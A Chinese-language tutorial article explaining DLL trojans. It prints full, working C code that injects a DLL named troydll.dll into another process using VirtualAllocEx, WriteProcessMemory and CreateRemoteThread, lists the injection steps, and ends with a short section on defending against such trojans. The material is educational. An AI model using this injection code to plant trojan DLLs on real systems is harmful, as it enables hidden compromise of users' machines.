從前文可知,DLL在程序編制中可作出巨大貢獻(xiàn),它提供了具共性代碼的復(fù)用能力。但是,正如一門高深的武學(xué),若被掌握在正義之俠的手上,便可助其仗義江湖;但若被掌握在邪惡之徒的手上,則必然在江湖上掀起腥風(fēng)血雨。DLL正是一種這樣的武學(xué)。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木馬,一種惡貫滿盈的病毒,令特洛伊一夜之間國破家亡。
DLL木馬的原理 DLL木馬的實(shí)現(xiàn)原理是編程者在DLL中包含木馬程序代碼,隨后在目標(biāo)主機(jī)中選擇特定目標(biāo)進(jìn)程,以某種方式強(qiáng)行指定該進(jìn)程調(diào)用包含木馬程序的DLL,最終達(dá)到侵襲目標(biāo)系統(tǒng)的目的。
正是DLL程序自身的特點(diǎn)決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:
(1)DLL程序被映射到宿主進(jìn)程的地址空間中,它能夠共享宿主進(jìn)程的資源,并根據(jù)宿主進(jìn)程在目標(biāo)主機(jī)的級別非法訪問相應(yīng)的系統(tǒng)資源;
(2)DLL程序沒有獨(dú)立的進(jìn)程地址空間,從而可以避免在目標(biāo)主機(jī)中留下"蛛絲馬跡",達(dá)到隱蔽自身的目的。
DLL木馬實(shí)現(xiàn)了"真隱藏",我們在任務(wù)管理器中看不到木馬"進(jìn)程",它完全溶進(jìn)了系統(tǒng)的內(nèi)核。與"真隱藏"對應(yīng)的是"假隱藏","假隱藏"木馬把自己注冊成為一個(gè)服務(wù)。雖然在任務(wù)管理器中也看不到這個(gè)進(jìn)程,但是"假隱藏"木馬本質(zhì)上還具備獨(dú)立的進(jìn)程空間。"假隱藏"只適用于Windows9x的系統(tǒng),對于基于WINNT的操作系統(tǒng),通過服務(wù)管理器,我們可以發(fā)現(xiàn)系統(tǒng)中注冊過的服務(wù)。
DLL木馬注入其它進(jìn)程的方法為遠(yuǎn)程線程插入。
遠(yuǎn)程線程插入技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。將木馬程序以DLL的形式實(shí)現(xiàn)后,需要使用插入到目標(biāo)進(jìn)程中的遠(yuǎn)程線程將該木馬DLL插入到目標(biāo)進(jìn)程的地址空間,即利用該線程通過調(diào)用Windows API LoadLibrary函數(shù)來加載木馬DLL,從而實(shí)現(xiàn)木馬對系統(tǒng)的侵害。
DLL木馬注入程序 這里涉及到一個(gè)非常重要的Windows API――CreateRemoteThread。與之相比,我們所習(xí)慣使用的CreateThread API函數(shù)只能在進(jìn)程自身內(nèi)部產(chǎn)生一個(gè)新的線程,而且被創(chuàng)建的新線程與主線程共享地址空間和其他資源。而CreateRemoteThread則不同,它可以在另外的進(jìn)程中產(chǎn)生線程!CreateRemoteThread有如下特點(diǎn):
(1)CreateRemoteThread較CreateThread多一個(gè)參數(shù)hProcess,該參數(shù)用于指定要?jiǎng)?chuàng)建線程的遠(yuǎn)程進(jìn)程,其函數(shù)原型為:
HANDLE CreateRemoteThread( HANDLE hProcess, //遠(yuǎn)程進(jìn)程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); |
(2)線程函數(shù)的代碼不能位于我們用來注入DLL木馬的進(jìn)程所在的地址空間中。也就是說,我們不能想當(dāng)然地自己寫一個(gè)函數(shù),并把這個(gè)函數(shù)作為遠(yuǎn)程線程的入口函數(shù);
(3)不能把本進(jìn)程的指針作為CreateRemoteThread的參數(shù),因?yàn)楸具M(jìn)程的內(nèi)存空間與遠(yuǎn)程進(jìn)程的不一樣。
以下程序由作者Shotgun的DLL木馬注入程序簡化而得(
單擊此處下載,在經(jīng)典書籍《Windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll插入到ID為4000的進(jìn)程中:
#include <windows.h> #include <stdlib.h> #include <stdio.h>
void CheckError ( int, int, char *); //出錯(cuò)處理函數(shù)
PDWORD pdwThreadId; HANDLE hRemoteThread, hRemoteProcess; DWORD fdwCreate, dwStackSize, dwRemoteProcessId; PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv) { int iReturnCode; char lpDllFullPathName[MAX_PATH]; WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000; strcpy(lpDllFullPathName, "d:\\troydll.dll"); //將DLL文件全路徑的ANSI碼轉(zhuǎn)換成UNICODE碼 iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpDllFullPathName, strlen(lpDllFullPathName), pszLibFileName, MAX_PATH); CheckError(iReturnCode, 0, "MultByteToWideChar"); //打開遠(yuǎn)程進(jìn)程 hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許創(chuàng)建線程 PROCESS_VM_OPERATION | //允許VM操作 PROCESS_VM_WRITE, //允許VM寫 FALSE, dwRemoteProcessId ); CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!"); //計(jì)算DLL路徑名需要的內(nèi)存空間 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx"); //將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); CheckError(iReturnCode, false, "WriteProcessMemory"); //計(jì)算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CheckError((int)pfnStartAddr, NULL, "GetProcAddress"); //啟動遠(yuǎn)程線程,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CheckError((int)hRemoteThread, NULL, "Create Remote Thread"); //等待遠(yuǎn)程線程退出 WaitForSingleObject(hRemoteThread, INFINITE); //清場處理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } }
//錯(cuò)誤處理函數(shù)CheckError() void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg) { if(iReturnCode==iErrorCode) { printf("%s Error:%d\n\n", pErrorMsg, GetLastError()); //清場處理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } exit(0); } } |
從DLL木馬注入程序的源代碼中我們可以分析出DLL木馬注入的一般步驟為:
(1)取得宿主進(jìn)程(即要注入木馬的進(jìn)程)的進(jìn)程ID dwRemoteProcessId;
(2)取得DLL的完全路徑,并將其轉(zhuǎn)換為寬字符模式pszLibFileName;
(3)利用Windows API OpenProcess打開宿主進(jìn)程,應(yīng)該開啟下列選項(xiàng):
a.PROCESS_CREATE_THREAD:允許在宿主進(jìn)程中創(chuàng)建線程;
b.PROCESS_VM_OPERATION:允許對宿主進(jìn)程中進(jìn)行VM操作;
c.PROCESS_VM_WRITE:允許對宿主進(jìn)程進(jìn)行VM寫。
(4)利用Windows API VirtualAllocEx函數(shù)在遠(yuǎn)程線程的VM中分配DLL完整路徑寬字符所需的存儲空間,并利用Windows API WriteProcessMemory函數(shù)將完整路徑寫入該存儲空間;
(5)利用Windows API GetProcAddress取得Kernel32模塊中LoadLibraryW函數(shù)的地址,這個(gè)函數(shù)將作為隨后將啟動的遠(yuǎn)程線程的入口函數(shù);
(6)利用Windows API CreateRemoteThread啟動遠(yuǎn)程線程,將LoadLibraryW的地址作為遠(yuǎn)程線程的入口函數(shù)地址,將宿主進(jìn)程里被分配空間中存儲的完整DLL路徑作為線程入口函數(shù)的參數(shù)以另其啟動指定的DLL;
(7)清理現(xiàn)場。
DLL木馬的防治 從DLL木馬的原理和一個(gè)簡單的DLL木馬程序中我們學(xué)到了DLL木馬的工作方式,這可以幫助我們更好地理解DLL木馬病毒的防治手段。
一般的木馬被植入后要打開一網(wǎng)絡(luò)端口與攻擊程序通信,所以防火墻是抵御木馬攻擊的最好方法。防火墻可以進(jìn)行數(shù)據(jù)包過濾檢查,我們可以讓防火墻對通訊端口進(jìn)行限制,只允許系統(tǒng)接受幾個(gè)特定端口的數(shù)據(jù)請求。這樣,即使木馬植入成功,攻擊者也無法進(jìn)入到受侵系統(tǒng),防火墻把攻擊者和木馬分隔開來了。
對于DLL木馬,一種簡單的觀察方法也許可以幫助用戶發(fā)現(xiàn)之。我們查看運(yùn)行進(jìn)程所依賴的DLL,如果其中有一些莫名其妙的DLL,則可以斷言這個(gè)進(jìn)程是宿主進(jìn)程,系統(tǒng)被植入了DLL木馬。"道高一尺,魔高一丈",現(xiàn)如今,DLL木馬也發(fā)展到了更高的境界,它們看起來也不再"莫名其妙"。在最新的一些木馬里面,開始采用了先進(jìn)的DLL陷阱技術(shù),編程者用特洛伊DLL替換已知的系統(tǒng)DLL。特洛伊DLL對所有的函數(shù)調(diào)用進(jìn)行過濾,對于正常的調(diào)用,使用函數(shù)轉(zhuǎn)發(fā)器直接轉(zhuǎn)發(fā)給被替換的系統(tǒng)DLL;對于一些事先約定好的特殊情況,DLL會執(zhí)行一些相應(yīng)的操作。
本文給出的只是DLL木馬最簡單情況的介紹,讀者若有興趣深入研究,可以參考其它資料。